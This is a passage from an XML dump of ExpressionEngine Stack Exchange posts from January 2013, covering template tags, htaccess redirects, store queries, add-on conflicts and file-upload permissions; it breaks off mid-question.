  <row Id="5568" PostTypeId="1" CreationDate="2013-01-30T09:53:02.617" Score="0" ViewCount="1834" Body="&lt;p&gt;In google webmaster tools i seem to be getting of 503 pages and other errors&#xA;The website is old.&#xA;Mainly from old url's that don't exist anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&#xA;page.com/meubels?page=75&amp;amp;%24Version=1&amp;amp;%24Path=%2F &#xA;=&gt; returns &lt;em&gt;&quot;Disallowed Key Characters.&quot;&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another url error is the following: page.com/brands/brand%3Fpage=1?page=1 &#xA;=&gt; returns &lt;em&gt;&quot;The URI you submitted has disallowed characters.&quot;&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5272/redirect-prevent-webmaster-tools-crawl-errors-using-htacces&quot;&gt;Invalid Get Data&lt;/a&gt; was solved here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have a 301 redirect to such url's through htaccess or any other way to redirect visitor's to the correct pages in staid of having them stuck on old url's with error pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-30T14:17:15.380" Title="URL errors of URI submitted has disallowed characters" Tags="|url|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5569" PostTypeId="2" ParentId="5540" CreationDate="2013-01-30T09:59:55.820" Score="0" Body="&lt;p&gt;You could just make the field a hidden form field and use javascript to update when they enter in their first and last name?&lt;/p&gt;&#xA;" OwnerUserId="816" LastActivityDate="2013-01-30T09:59:55.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5570" PostTypeId="2" ParentId="5567" CreationDate="2013-01-30T10:20:37.880" Score="0" Body="&lt;p&gt;You can take a look at code how ExpressionEngine does it from the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the function do_login_as_member within the file expressionengine/controllers/cp/members.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you lot.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-30T10:20:37.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5571" PostTypeId="1" AcceptedAnswerId="5584" CreationDate="2013-01-30T10:29:30.293" Score="2" ViewCount="120" Body="&lt;p&gt;I'm adding a simple transactional element to a client site to allow their users to pay a bill online by completing a simple form with a payment amount and a bill reference. Payment will be handled by a payment gateway via a POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm unsure what the best practice might be in terms of storing this data on the EE side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I've used the Solspace Freeform module to capture the data, re-display it on a confirmation page and then use that to POST the data to the payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other option is to use a SAEF to submit the data as an entry and do much the same after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which to do... the benefit of using entries is that they are more flexible - the disadvantage is they cannot trigger a notification email to the user and/or client but that can be handled with a simple plug-in if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested to know how others have handled this in the past. Specifically in a scenario like this where an e-commerce module would be complete overkill  and the Simple Commerce module isn't an option.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-01-30T16:47:21.860" Title="How to best store simple transactional data" Tags="|commerce|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5572" PostTypeId="2" ParentId="5560" CreationDate="2013-01-30T10:44:21.690" Score="0" Body="&lt;p&gt;I got this error in EE 2x with the addon - Backup - Thomas Myer (worked fine in EE 1x) and simply switched to Backup Pro.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 Reviews&#xA;Rating - 3.388 Votes&#xA;23 Favs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-01-30T10:44:21.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5573" PostTypeId="1" AcceptedAnswerId="5583" CreationDate="2013-01-30T11:04:17.687" Score="1" ViewCount="78" Body="&lt;p&gt;I am trying to customise a matrix field, for safecracker use, to customise the look of file (image) uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  have the following code &lt;a href=&quot;http://jsfiddle.net/sanxL/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/sanxL/&lt;/a&gt; in my safecracker form, and it seems to produce the rows correctly, however when i send the form, only the first field has the attached file (photos in this case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything obvious wrong here?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-30T13:40:44.627" Title="Matrix file uploads, only first file being uploaded" Tags="|safecracker|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5574" PostTypeId="1" CreationDate="2013-01-30T11:25:10.757" Score="4" ViewCount="210" Body="&lt;p&gt;Is there a way to sync a google docs spreadsheet to a certain channel in ExpressionEngine. I know this might be way advanced, and the main problem i see is maintaining unique entry_id when a google row is updated or moved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone worked on this, and can possibly share some tips, information or even code?&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-11-05T10:56:26.773" Title="Sync a channel with google docs spreadsheet" Tags="|import|export|sync|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5575" PostTypeId="1" CreationDate="2013-01-30T11:53:50.337" Score="3" ViewCount="221" Body="&lt;p&gt;Following Store official documentation I'm trying to include the content of some custom fields inside my {exp:store:checkout}{/exp:store:checkout} tags.&#xA;According to the docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Inside the {items} loop, you can use the following variables.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;entry_id&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The entry id of this item. If you need to access other custom fields associated with this item, you can feed the entry id into a channel entries loop:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;{items}&#xA;    {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;      {my_custom_field}&#xA;    {/exp:channel:entries}&#xA;  {/items}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I tried to use the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;            &amp;lt;tr class=&quot;item_row&quot;&amp;gt;&#xA;                &amp;lt;td class=&quot;item&quot;&amp;gt;&#xA;                {exp:channel:entries channel='books' entry_id='{entry_id}'} &#xA;&#xA;                {book_author}&#xA;&#xA;&#xA;                {/exp:channel:entries}      &#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &amp;lt;/h4&amp;gt;&#xA;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;price&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td class=&quot;qty&quot;&amp;gt;&amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;input-mini&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:right&quot; &amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the content of the {book_author} custom field doesn't show up. &#xA;Switching the template debug on I can see that the entry_id is retrieved: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; `{exp:channel:entries channel='books' entry_id='30'}&#xA;(0.075356 / 7.57MB) Closing Tag Found&#xA;(0.075517 / 7.59MB) Tag: {exp:channel:entries channel='books' entry_id='35'}&#xA;(0.075568 / 7.57MB) Closing Tag Found`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so everything looks ok, but a few lines below I read: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.093014 / 9.06MB) Calling Class/Method: Channel/entries&#xA;(0.093276 / 9.06MB) -&amp;gt; Class Called: Channel&#xA;(0.095509 / 9.22MB) -&amp;gt; Method Called: entries&#xA;(0.116360 / 10.72MB) Returning No Results Content&#xA;(0.116438 / 10.72MB) -&amp;gt; Data Returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to use CE_image plug-in to put a tumbnail inside the checkout page, but the plug-in tag is not processed, and the plugin's own debug details don't show-up either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other product details show-up so the {exp:store:checkout} tag seems to work, that is all the details that are not called inside the exp:channel:entries loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason why the code above doesn't work? &lt;/p&gt;&#xA;" OwnerUserId="710" LastActivityDate="2015-01-20T17:19:49.090" Title="Cannot retrieve custom fields inside exp:store:checkout tag" Tags="|expresso-store|custom-fields|ecommerce|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5576" PostTypeId="1" AcceptedAnswerId="5580" CreationDate="2013-01-30T12:06:52.807" Score="2" ViewCount="208" Body="&lt;p&gt;I would like to list the most popular selling items from my Expresso Store, but I can't find the tags to retrieve those items (preferably filtered by EE category too). Any pointers in the right direction would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-10-16T07:09:35.677" Title="Expresso Store - Get most popular items" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5577" PostTypeId="1" AcceptedAnswerId="5582" CreationDate="2013-01-30T12:19:05.307" Score="1" ViewCount="89" Body="&lt;p&gt;We were using &lt;a href=&quot;http://www.solspace.com&quot; rel=&quot;nofollow&quot;&gt;Solspace's&lt;/a&gt; Related Entries before switching to &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic's Playa&lt;/a&gt; after an upgrade to EE2. Related Entries had an option to designate a 'primary entry' of the related entries. We used code, like below, to select a single record out of the related items for 'showcasing':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:related_entries:entries main_only=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;primary&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;must-read&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;h3 class=&quot;title&quot;&amp;gt;&amp;lt;a href=&quot;{if series_title_link !=&quot;&quot;}{series_title_link}{if:else}{comment_url_title_auto_path}{/if}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;    {!-- Updated: 5 May 2012, Stylistic Change to Read More --}&#xA;    &amp;lt;p&amp;gt;{exp:word_limit total=&quot;30&quot;}{summary}{/exp:word_limit}&amp;lt;/p&amp;gt;&amp;lt;p class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;{series_title_link}&quot; title=&quot;Read More&quot;&amp;gt;Read Now &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;&#xA;{/exp:related_entries:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any method to do this in Playa? or would I need to create a second Playa field, where just a single related item is added? &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-30T13:35:48.707" Title="Is There Anyway to Select a Primary Related Item in Playa?" Tags="|playa|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5578" PostTypeId="1" AcceptedAnswerId="5581" CreationDate="2013-01-30T12:25:34.107" Score="4" ViewCount="108" Body="&lt;p&gt;How can I display entries that only have a particular field completed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I am displaying all entries but would like to exclude any entries that have no image field completed. The image field is a matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Sinan&lt;/p&gt;&#xA;" OwnerUserId="913" LastActivityDate="2013-04-21T10:47:12.240" Title="How to display ONLY entries that have at a particular field present (like image)" Tags="|channel-entries|matrix|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5579" PostTypeId="2" ParentId="5577" CreationDate="2013-01-30T12:29:36.603" Score="1" Body="&lt;p&gt;Could you use the order in which the items are presented in the playa field as the determining factor? the first item for example gets featured?  This assumes you don't need that order represented in some other fashion.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-30T12:29:36.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5580" PostTypeId="2" ParentId="5576" CreationDate="2013-01-30T13:11:58.023" Score="4" Body="&lt;p&gt;To the best of my knowledge, there isn't a &lt;code&gt;popularity&lt;/code&gt; tag in &lt;a href=&quot;http://exp-resso.com/docs/store/&quot; rel=&quot;nofollow&quot;&gt;Store&lt;/a&gt;. This would require a custom query or an add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id, sku, title, COUNT(*) FROM exp_store_order_items GROUP BY entry_id ORDER BY COUNT(*) DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will provide most popular items based on 'what's been ordered', but what's been viewed, popular searches, and a number of 'OTHER' variants of popular also exist.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-30T13:11:58.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5581" PostTypeId="2" ParentId="5578" CreationDate="2013-01-30T13:34:12.267" Score="9" Body="&lt;p&gt;You can use the search parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:image_custom_field_name=&quot;not IS_EMPTY&quot; ...}&#xA;  ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return entries where the image custom field has been filled in.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-30T13:34:12.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5582" PostTypeId="2" ParentId="5577" CreationDate="2013-01-30T13:35:48.707" Score="5" Body="&lt;p&gt;If you do not specify orderby and sort parameters on the playa tags, the order in which they are displayed is the one in which they are displayed in the drop panes interface in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;mainchannel&quot; limit=&quot;1&quot;}&#xA;&#xA;    ... entry stuff ...&#xA;&#xA;    {exp:playa:children channel=&quot;relatedchannel&quot; status=&quot;open&quot;}&#xA;&#xA;        {!-- Capture the first item in the playa drop pane interface --}&#xA;        {if count == 1}&#xA;            &amp;lt;h3&amp;gt;Related items&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;must-read&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                ... related entry stuff ...&#xA;            &amp;lt;/div&amp;gt;&#xA;        {if:else}&#xA;            {!-- Capture the rest of the items in the playa drop pane interface --}&#xA;            &amp;lt;div class=&quot;normal&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;                ... related entry stuff ...&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if no_results}&amp;lt;p&amp;gt;nothing to see here, move on.&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-01-30T13:35:48.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5583" PostTypeId="2" ParentId="5573" CreationDate="2013-01-30T13:40:44.627" Score="2" Body="&lt;p&gt;Not too worry, found out what I was doing wrong! Forgot to include the hidden &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;walk_images[row_order][]&quot;&#xA;value=&quot;row_new_0&quot;&amp;gt;&lt;/code&gt; within the div that was being recreated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All good now.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-01-30T13:40:44.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5584" PostTypeId="2" ParentId="5571" CreationDate="2013-01-30T13:48:26.427" Score="2" Body="&lt;p&gt;If you have a method of storing and posting the appropriate data with Safecracker, and all you are worried about is the notification emails, you should have a look at ObjectiveHTML's &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;. You can set up emails for almost any event.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-30T13:48:26.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5585" PostTypeId="2" ParentId="5568" CreationDate="2013-01-30T14:17:15.380" Score="1" Body="&lt;p&gt;The reason you're getting the &quot;disallowed characters&quot; messages is that EE doesn't allow some characters (such as &lt;code&gt;%&lt;/code&gt;) in URLs as a security measure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can certainly catch these before they get to EE using &lt;code&gt;.htaccess&lt;/code&gt; - but how you'd go about redirecting is all dependent on how the old URLs relate to the new ones (what shared or identifying information they have).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the URLs don't have any key shared info that will allow you to write a proper redirect pattern, you could aways collect every offending URL and put in a manual redirect for each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect /meubels?page=75&amp;amp;%24Version=1&amp;amp;%24Path=%2F http://page.com/meubels/the-new-page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-30T14:17:15.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5586" PostTypeId="2" ParentId="5574" CreationDate="2013-01-30T15:17:53.797" Score="1" Body="&lt;p&gt;These links might help you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developers.google.com/apps-script/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/apps-script/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developers.google.com/apps-script/service_document&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/apps-script/service_document&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-30T15:17:53.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5587" PostTypeId="2" ParentId="5571" CreationDate="2013-01-30T15:24:16.283" Score="0" Body="&lt;p&gt;&lt;strong&gt;Non-Freeform/Safecracker:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple post-processing of a Safecracker form can be accomplished by setting its redirect URL to be a PHP-enabled template, doing the notification email (or other transactions) in PHP, and then setting a redirect in PHP to the real post-submit page/destination. If PHP is running on output, you can work with segment variables to get EE entries as needed, and run PHP functions on the output of the channel:entries tag. You can fetch your data with EE, and then work with it in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can accomplish the notification email (or other transactions) purely using EE tags with an add-on, you can do this as well. The idea is to establish a post-processor template that handles the notification or transaction, and then redirect from there to your real confirmation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Freeform:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform also has a post submit hook that we've leveraged with custom extensions to submit to APIs using PHP/cURL. Our most common use of this has been to submit data to Salesforce after a user has submitted a form using Freeform. Freeform captures the user submit in the CP and sends a notification email, while the extension submits that data behind the scenes to the Salesforce database.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-30T15:24:16.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5588" PostTypeId="1" AcceptedAnswerId="5589" CreationDate="2013-01-30T16:22:20.940" Score="2" ViewCount="298" Body="&lt;p&gt;For member groups other than Super Admin, the &quot;browse server&quot; button is hidden when trying to import an image into the content area while editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried turning on all member group options...changing the File Browser for Wigwam between CKFinder and EE Manager, no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.4.0 - would the upgrade fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other solutions or things to try welcome. Would rather not make everyone a Super Admin.&lt;/p&gt;&#xA;" OwnerUserId="916" LastEditorUserId="28" LastEditDate="2013-01-30T16:29:21.723" LastActivityDate="2013-01-30T16:29:21.723" Title="Wygwam Module: Browse server button hidden" Tags="|members|file-uploads|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5589" PostTypeId="2" ParentId="5588" CreationDate="2013-01-30T16:26:59.197" Score="1" Body="&lt;p&gt;The setting you need to adjust is on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#restrict-file-uploading-to-select-member-groups&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;File Upload Preferences&lt;/strong&gt;&lt;/a&gt; page. Look for &quot;Restrict file uploading to select member groups&quot; at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CP LOCATION&lt;/strong&gt;&lt;br&gt;&#xA;Content ‣ Files ‣ File Upload Preferences&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-30T16:26:59.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5590" PostTypeId="2" ParentId="5574" CreationDate="2013-01-30T16:34:19.023" Score="0" Body="&lt;p&gt;I'd suggest exporting the data from Google as an CSV file and importing with the &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Datagrab addons&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Summary of features&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Import data from RSS/ATOM feeds, CSV files and XML files. Other datatypes can be added.&#xA;Map data values to a channel’s custom fields&#xA;Assign categories to each entry&#xA;Assign entries to an author&#xA;Imports can be saved and re-run — ideal for a tumblelogr&#xA;Entries can be updated if the source data changes — keep data synchronised&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-30T16:34:19.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5591" PostTypeId="2" ParentId="5571" CreationDate="2013-01-30T16:47:21.860" Score="0" Body="&lt;p&gt;We do this with ExpressionEngine Channels, the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/tellafriend.html&quot; rel=&quot;nofollow&quot;&gt;Tell-a-Friend Form&lt;/a&gt; (for the confirmation email to user and client designated staff). We also have &lt;a href=&quot;http://mandrill.com&quot; rel=&quot;nofollow&quot;&gt;Mandrill&lt;/a&gt; in place, so we can track the transactional emails. The system works very well. This was set-up pre-&lt;a href=&quot;https://objectivehtml.com/postmaster/features&quot; rel=&quot;nofollow&quot;&gt;PostMaster&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are considering adding PostMaster to the mix, mostly to remove that half second display when the Tell-a-Friend module is sending the confirmation email. But otherwise, it was simple to set-up, fairly easy to secure, and has worked like a charm for 5+ years.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-30T16:47:21.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5592" PostTypeId="1" AcceptedAnswerId="5628" CreationDate="2013-01-30T17:17:46.890" Score="3" ViewCount="122" Body="&lt;p&gt;Using &lt;a href=&quot;http://www.solspace.com/docs/super_search/&quot; rel=&quot;nofollow&quot;&gt;Solspace SuperSearch&lt;/a&gt; I want to search by category (and keyword), and have the categories list on the result page remember which checkboxes I selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works great when I am looping through the channel entries tag like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories parent_only=&quot;yes&quot;}&#xA;{exp:super_search:variables}&#xA;    &amp;lt;li&amp;gt;&#xA;        {category_name}&#xA;        &amp;lt;input&#xA;            type=&quot;checkbox&quot;&#xA;            value=&quot;{category_url_title}&quot;&#xA;            name=&quot;category[]&quot;&#xA;            {if super_search_category_{category_url_title}} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:super_search:variables}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to use &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWCcode Categories&lt;/a&gt; to have greater control however. When I do, I run into parse order issues and the &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; does not render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories depth=&quot;0&quot; max_depth=&quot;1&quot; style=&quot;linear&quot;}&#xA;{exp:super_search:variables}&#xA;    &amp;lt;li&amp;gt;&#xA;        {cat_name}&#xA;        &amp;lt;input&#xA;            type=&quot;checkbox&quot;&#xA;            value=&quot;{cat_url_title}&quot;&#xA;            name=&quot;category[]&quot;&#xA;            {if super_search_category_{cat_url_title}} checked=&quot;checked&quot;{/if} /&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:super_search:variables}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone had the same problem and gotten these two addons to work together? Any alternative methods come to mind that give me this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; minor syntax error in code, see comments&lt;/p&gt;&#xA;" OwnerUserId="918" LastEditorUserId="918" LastEditDate="2013-01-31T16:35:39.237" LastActivityDate="2013-01-31T16:35:39.237" Title="Getting SuperSearch and GWCode to play together nicely" Tags="|parse-order|supersearch|gwcode-categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5593" PostTypeId="1" CreationDate="2013-01-30T17:43:06.567" Score="5" ViewCount="163" Body="&lt;p&gt;I'm using Expression Engine v2.5.5 and Assets v2.0.3 with mulitple upload folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the file manager in IE8 clicking on the folder links does not update the view to show contents of that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Assets 2 support IE8?&lt;/p&gt;&#xA;" OwnerUserId="921" LastActivityDate="2013-06-17T15:15:44.013" Title="Clicking on folders in the Assets 2 file manager does not work on IE8" Tags="|assets|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5594" PostTypeId="1" AcceptedAnswerId="5595" CreationDate="2013-01-30T17:51:08.557" Score="4" ViewCount="229" Body="&lt;p&gt;Just a quick question regarding the URL (template) structures in expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an established site that has been live for almost a year. I was brand new to EE when I set up and therefore I am finding better ways of building the site all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template group and set of templates like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template_group/template/&#xA;&#xA;walks/find/&#xA;walks/findwalk/&#xA;walks/view/&#xA;walks/search/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;obviously &lt;code&gt;walks/view/&lt;/code&gt; is is my single entry template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;walks/find/&lt;/code&gt; is my main listing template. This includes a list of all the latest entries, together with a search box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;walks/findwalk/&lt;/code&gt; is exactly the same as the &lt;code&gt;find&lt;/code&gt; template, but it displays results from categories, so the url ends up something like &lt;code&gt;walks/findwalk/category/(catergoryname)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;walks/search/&lt;/code&gt; is the same again, except it contains my search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, not very DRY, but I was 